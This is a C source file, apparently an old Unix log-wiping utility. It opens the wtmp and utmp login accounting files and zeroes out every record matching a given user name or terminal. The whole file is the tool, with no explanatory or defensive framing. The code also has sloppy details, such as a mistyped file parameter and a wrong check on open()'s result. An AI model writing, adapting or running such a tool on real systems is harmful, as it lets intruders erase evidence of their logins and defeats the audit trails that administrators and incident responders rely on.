#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <fcntl.h>

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
 
void usage();
void kill_entry();
void main();

void usage(name)
char *name;
{
  printf("Usage: %s [user|tty]\n", name);
  exit(1);
}

void main(argc, argv)
int argc;
char *argv[];
{
  int lastone = 0;
  if(argc < 2)
  {
    usage(argv[0]);
    exit(1);
  }

  if(argc == 3)
    if(argv[2][0] == 'l')
      lastone = 1;
  kill_entry(WTMP_NAME, argv[1], lastone);
  kill_entry(UTMP_NAME, argv[1], lastone);
}

void kill_entry(file, uid, lstone)
int *file;
char *uid;
int lstone;
{
  struct utmp utmp;
  int size, fd;
  int match, tty = 0, x = 0;

  if(strlen(uid) < 2) {
    printf("Error: Length of user\n");
    exit(1);
  }

  if(!strncmp(uid, "tty", 3))
    tty++;

  if((fd=open(file, O_RDWR)) == NULL) {
    printf("Error: Open on %s\n", file);
    exit(1);
  }

  printf("[Searching for %s]:  ", uid);

  size = read(fd, &utmp, sizeof(struct utmp));
  while(size == sizeof(struct utmp))
  {
    if(tty ? (!strcmp(utmp.ut_line, uid)) :
      (!strncmp(utmp.ut_name, uid, strlen(uid))) && lstone != 1)
    {
      if(x==10)
        printf("\b%d", x);
      else
        if(x>9 && x!=10)
          printf("\b\b%d", x);
        else
          printf("\b%d", x);
      lseek(fd, -sizeof(struct utmp), L_INCR);
      bzero(&utmp, sizeof(struct utmp));
      write(fd, &utmp, sizeof(struct utmp));
      x++;
    }
    size = read(fd, &utmp, sizeof(struct utmp));
  }
  if(!x)
    printf("No entries found in %s.", file);
  else
    printf(" entries removed from %s.", file);
  printf("\n");
  close(fd);
}
